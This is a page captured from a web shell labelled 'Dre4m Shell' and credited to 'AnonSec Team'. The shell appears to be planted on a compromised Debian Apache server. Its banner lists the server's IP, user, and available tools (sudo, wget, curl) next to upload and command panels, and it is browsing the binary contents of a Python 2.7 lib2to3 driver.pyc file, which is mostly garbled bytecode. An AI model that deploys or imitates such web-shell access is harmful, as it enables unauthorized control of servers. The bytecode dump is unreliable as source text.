Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 216.73.216.122
Web Server : Apache/2.4.65 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/usr/lib/python2.7/lib2to3/pgen2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/self/root/usr/lib/python2.7/lib2to3/pgen2/driver.pyc
�
�,bc@s�dZdZddgZddlZddlZddlZddlZddlZddlm	Z	m
Z
mZmZm
Z
defd��YZd	�Zd
deedd�Zd�Zd
�Zedkr�ejee���ndS(sZParser driver.

This provides a high-level interface to parse a file into a syntax tree.

s#Guido van Rossum <guido@python.org>tDrivertload_grammari����Ni(tgrammartparsettokenttokenizetpgencBsVeZddd�Zed�Zed�Zed�Zded�Zed�Z	RS(cCs:||_|dkr$tj�}n||_||_dS(N(RtNonetloggingt	getLoggertloggertconvert(tselfRRR
((s*/usr/lib/python2.7/lib2to3/pgen2/driver.pyt__init__s
		cCs=tj|j|j�}|j�d}d}d	}}}}	}
d}x�|D]�}|\}}}}	}
|||fkr
||f|ks�t||f|f��|\}
}||
kr�|d|
|7}|
}d}n||kr
||
||!7}|}q
n|tjtj	fkr`||7}|	\}}|j
d�rQ|d7}d}qQqQn|tjkrtj
|}n|r�|jjdtj|||�n|j||||f�r�|r�|jjd�nPnd}|	\}}|j
d�rQ|d7}d}qQqQWtjd||||f��|jS(
s4Parse a series of tokens and return the syntax tree.iius
s%s %r (prefix=%r)sStop.tsincomplete inputN(RtParserRRtsetupRtAssertionErrorRtCOMMENTtNLtendswithRtOPtopmapR
tdebugttok_nametaddtokent
ParseErrortrootnode(RttokensRtptlinenotcolumnttypetvaluetstarttendt	line_texttprefixt	quintuplets_linenots_column((s*/usr/lib/python2.7/lib2to3/pgen2/driver.pytparse_tokens&sT

*	

	

	cCs"tj|j�}|j||�S(s*Parse a stream and return the syntax tree.(Rtgenerate_tokenstreadlineR)(RtstreamRR((s*/usr/lib/python2.7/lib2to3/pgen2/driver.pytparse_stream_rawVscCs|j||�S(s*Parse a stream and return the syntax tree.(R-(RR,R((s*/usr/lib/python2.7/lib2to3/pgen2/driver.pytparse_stream[scCs;tj|d|�}z|j||�SWd|j�XdS(s(Parse a file and return the syntax tree.trN(tcodecstopenR.tclose(RtfilenametencodingRR,((s*/usr/lib/python2.7/lib2to3/pgen2/driver.pyt
parse_file_scCs+tjtj|�j�}|j||�S(s*Parse a string and return the syntax tree.(RR*tStringIOR+R)(RttextRR((s*/usr/lib/python2.7/lib2to3/pgen2/driver.pytparse_stringgsN(
t__name__t
__module__RR
tFalseR)R-R.R5R8(((s*/usr/lib/python2.7/lib2to3/pgen2/driver.pyRs0cCsRtjj|�\}}|dkr-d}n||djtttj��dS(Ns.txtRt.s.pickle(tostpathtsplitexttjointmaptstrtsystversion_info(tgttheadttail((s*/usr/lib/python2.7/lib2to3/pgen2/driver.pyt_generate_pickle_namems	sGrammar.txtcCs�|dkrtj�}n|dkr3t|�n|}|sOt||�r�|jd|�tj|�}tr�|jd|�y|j	|�Wq�t
k
r�}|jd|�q�Xq�ntj�}|j
|�|S(s'Load the grammar (maybe from a pickle).s!Generating grammar tables from %ssWriting grammar tables to %ssWriting failed: %sN(RRR	RHt_newertinfoRtgenerate_grammarR;tdumptIOErrorRtGrammartload(REtgptsavetforceR
tgte((s*/usr/lib/python2.7/lib2to3/pgen2/driver.pyRts
cCsNtjj|�stStjj|�s,tStjj|�tjj|�kS(s0Inquire whether file a was written since file b.(R=R>texistsR;tTruetgetmtime(tatb((s*/usr/lib/python2.7/lib2to3/pgen2/driver.pyRI�s
cGsc|stjd}ntjdtjdtjdd�x$|D]}t|dtdt�q?WtS(s�Main program, when run as a script: produce grammar pickle files.

    Calls load_grammar for each argument, a path to a grammar text file.
    itlevelR,tformats%(message)sRQRR(RCtargvRtbasicConfigtINFOtstdoutRRV(targsRE((s*/usr/lib/python2.7/lib2to3/pgen2/driver.pytmain�s
t__main__(t__doc__t
__author__t__all__R0R=RR6RCRRRRRRtobjectRRHRRVR;RRIRaR9texittint(((s*/usr/lib/python2.7/lib2to3/pgen2/driver.pyt<module>s (P				


Anon7 - 2022
AnonSec Team